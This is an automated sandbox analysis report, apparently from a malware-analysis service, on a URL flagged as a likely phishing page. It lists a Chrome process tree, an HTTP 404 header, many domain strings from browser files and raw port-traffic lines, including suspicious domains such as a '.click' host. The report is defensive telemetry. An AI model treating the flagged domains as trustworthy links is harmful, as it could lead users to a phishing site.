Edit tour

Windows Analysis Report
http://boot.uleif.com

Overview

General Information

Sample URL:	http://boot.uleif.com
Analysis ID:	1531789
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

No HTML title found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2668 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2020,i,7875350834692720134,8154431337683397247,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://boot.uleif.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: HTTP/1.1 404 Not FoundAccept-Ranges: bytesAccess-Control-Allow-Origin: *Age: 113062Cache-Control: public, max-age=0, must-revalidateContent-Disposition: inline; filename="404"Content-Length: 2169Content-Type: text/html; charset=utf-8Date: Fri, 11 Oct 2024 18:29:09 GMTEtag: "0b97498a23a52dad526fdf5a9089d4fd"Server: VercelStrict-Transport-Security: max-age=63072000X-Matched-Path: /404X-Vercel-Cache: HITX-Vercel-Id: iad1::rcpqc-1728671349155-0eb83be85d58Connection: close

Source: sets.json.0.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.0.dr	String found in binary or memory: https://24.hu
Source: sets.json.0.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.0.dr	String found in binary or memory: https://abczdrowie.pl
Source: sets.json.0.dr	String found in binary or memory: https://alice.tw
Source: sets.json.0.dr	String found in binary or memory: https://ambitionbox.com
Source: sets.json.0.dr	String found in binary or memory: https://autobild.de
Source: sets.json.0.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.0.dr	String found in binary or memory: https://bild.de
Source: sets.json.0.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.0.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.0.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.0.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.0.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.0.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.0.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.0.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.0.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.0.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.0.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.0.dr	String found in binary or memory: https://cardsayings.net
Source: sets.json.0.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.0.dr	String found in binary or memory: https://chennien.com
Source: sets.json.0.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.0.dr	String found in binary or memory: https://clarosports.com
Source: sets.json.0.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.0.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.0.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.0.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.0.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.0.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.0.dr	String found in binary or memory: https://content-loader.com
Source: sets.json.0.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.0.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.0.dr	String found in binary or memory: https://css-load.com
Source: sets.json.0.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.0.dr	String found in binary or memory: https://deere.com
Source: sets.json.0.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.0.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.0.dr	String found in binary or memory: https://drimer.io
Source: sets.json.0.dr	String found in binary or memory: https://drimer.travel
Source: sets.json.0.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.0.dr	String found in binary or memory: https://een.be
Source: sets.json.0.dr	String found in binary or memory: https://efront.com
Source: sets.json.0.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.0.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.0.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.0.dr	String found in binary or memory: https://ella.sv
Source: sets.json.0.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.0.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.0.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.0.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.0.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.0.dr	String found in binary or memory: https://finn.no
Source: sets.json.0.dr	String found in binary or memory: https://firstlook.biz
Source: sets.json.0.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://geforcenow.com
Source: sets.json.0.dr	String found in binary or memory: https://gettalkdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.0.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.0.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://grid.id
Source: sets.json.0.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.0.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.0.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.0.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://hapara.com
Source: sets.json.0.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1.global
Source: sets.json.0.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.0.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.0.dr	String found in binary or memory: https://hearty.app
Source: sets.json.0.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.0.dr	String found in binary or memory: https://hearty.me
Source: sets.json.0.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.0.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.0.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.0.dr	String found in binary or memory: https://hj.rs
Source: sets.json.0.dr	String found in binary or memory: https://hjck.com
Source: sets.json.0.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.0.dr	String found in binary or memory: https://html-load.com
Source: sets.json.0.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.0.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.0.dr	String found in binary or memory: https://img-load.com
Source: sets.json.0.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.0.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.0.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.0.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.0.dr	String found in binary or memory: https://interia.pl
Source: sets.json.0.dr	String found in binary or memory: https://intoday.in
Source: sets.json.0.dr	String found in binary or memory: https://iolam.it
Source: chromecache_134.2.dr, chromecache_135.2.dr	String found in binary or memory: https://ipinfo.io/json?token=c3e87e382ddea7
Source: sets.json.0.dr	String found in binary or memory: https://ishares.com
Source: sets.json.0.dr	String found in binary or memory: https://jagran.com
Source: sets.json.0.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.0.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.0.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://joyreactor.com
Source: sets.json.0.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.0.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.0.dr	String found in binary or memory: https://kompas.com
Source: sets.json.0.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.0.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.0.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.0.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.0.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.0.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.0.dr	String found in binary or memory: https://libero.it
Source: sets.json.0.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.0.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.0.dr	String found in binary or memory: https://livechat.com
Source: sets.json.0.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.0.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.0.dr	String found in binary or memory: https://livemint.com
Source: sets.json.0.dr	String found in binary or memory: https://max.auto
Source: sets.json.0.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.0.dr	String found in binary or memory: https://meo.pt
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.0.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.0.dr	String found in binary or memory: https://money.pl
Source: sets.json.0.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.0.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://nacion.com
Source: sets.json.0.dr	String found in binary or memory: https://naukri.com
Source: chromecache_134.2.dr, chromecache_135.2.dr	String found in binary or memory: https://ne.denise-moth.click
Source: sets.json.0.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.co
Source: sets.json.0.dr	String found in binary or memory: https://nien.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.org
Source: sets.json.0.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.0.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.0.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.0.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.0.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.0.dr	String found in binary or memory: https://o2.pl
Source: sets.json.0.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.0.dr	String found in binary or memory: https://onet.pl
Source: sets.json.0.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.0.dr	String found in binary or memory: https://p106.net
Source: sets.json.0.dr	String found in binary or memory: https://p24.hu
Source: sets.json.0.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.0.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.0.dr	String found in binary or memory: https://player.pl
Source: sets.json.0.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.0.dr	String found in binary or memory: https://poalim.site
Source: sets.json.0.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.0.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.0.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.0.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.0.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.0.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://radio1.be
Source: sets.json.0.dr	String found in binary or memory: https://radio2.be
Source: sets.json.0.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://repid.org
Source: sets.json.0.dr	String found in binary or memory: https://reshim.org
Source: sets.json.0.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.0.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.0.dr	String found in binary or memory: https://samayam.com
Source: sets.json.0.dr	String found in binary or memory: https://sapo.io
Source: sets.json.0.dr	String found in binary or memory: https://sapo.pt
Source: sets.json.0.dr	String found in binary or memory: https://shock.co
Source: sets.json.0.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.0.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.0.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.0.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.0.dr	String found in binary or memory: https://songshare.com
Source: sets.json.0.dr	String found in binary or memory: https://songstats.com
Source: sets.json.0.dr	String found in binary or memory: https://sporza.be
Source: sets.json.0.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.0.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.0.dr	String found in binary or memory: https://stripe.com
Source: sets.json.0.dr	String found in binary or memory: https://stripe.network
Source: sets.json.0.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.0.dr	String found in binary or memory: https://supereva.it
Source: sets.json.0.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.0.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.0.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.0.dr	String found in binary or memory: https://text.com
Source: sets.json.0.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://the42.ie
Source: sets.json.0.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.0.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.0.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.0.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.0.dr	String found in binary or memory: https://top.pl
Source: sets.json.0.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.0.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://tvid.in
Source: sets.json.0.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.0.dr	String found in binary or memory: https://unotv.com
Source: chromecache_137.2.dr, chromecache_122.2.dr	String found in binary or memory: https://vercel.live/_next-live/feedback/feedback.js
Source: sets.json.0.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.0.dr	String found in binary or memory: https://vrt.be
Source: sets.json.0.dr	String found in binary or memory: https://vwo.com
Source: sets.json.0.dr	String found in binary or memory: https://welt.de
Source: sets.json.0.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.0.dr	String found in binary or memory: https://wildix.com
Source: sets.json.0.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.0.dr	String found in binary or memory: https://wingify.com
Source: sets.json.0.dr	String found in binary or memory: https://wordle.at
Source: sets.json.0.dr	String found in binary or memory: https://wp.pl
Source: sets.json.0.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.0.dr	String found in binary or memory: https://www.asadcdn.com
Source: sets.json.0.dr	String found in binary or memory: https://ya.ru
Source: sets.json.0.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://zalo.me
Source: sets.json.0.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://zingmp3.vn

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 59076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 59265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57927
Source: unknown	Network traffic detected: HTTP traffic on port 59047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57926
Source: unknown	Network traffic detected: HTTP traffic on port 59030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57929
Source: unknown	Network traffic detected: HTTP traffic on port 59024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57924
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57921
Source: unknown	Network traffic detected: HTTP traffic on port 59099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57937
Source: unknown	Network traffic detected: HTTP traffic on port 59029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57933
Source: unknown	Network traffic detected: HTTP traffic on port 59094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57936
Source: unknown	Network traffic detected: HTTP traffic on port 57960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57930
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57931
Source: unknown	Network traffic detected: HTTP traffic on port 59087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57948
Source: unknown	Network traffic detected: HTTP traffic on port 57959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57945
Source: unknown	Network traffic detected: HTTP traffic on port 59007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57944
Source: unknown	Network traffic detected: HTTP traffic on port 59070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57941
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 59013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57950
Source: unknown	Network traffic detected: HTTP traffic on port 59036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57959
Source: unknown	Network traffic detected: HTTP traffic on port 57948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57956
Source: unknown	Network traffic detected: HTTP traffic on port 59019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57957
Source: unknown	Network traffic detected: HTTP traffic on port 59058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57951
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57961
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59100
Source: unknown	Network traffic detected: HTTP traffic on port 59081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59076
Source: unknown	Network traffic detected: HTTP traffic on port 59040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59079
Source: unknown	Network traffic detected: HTTP traffic on port 59034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59072
Source: unknown	Network traffic detected: HTTP traffic on port 58995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59075
Source: unknown	Network traffic detected: HTTP traffic on port 57950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59070
Source: unknown	Network traffic detected: HTTP traffic on port 59000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59084
Source: unknown	Network traffic detected: HTTP traffic on port 59045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 57955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
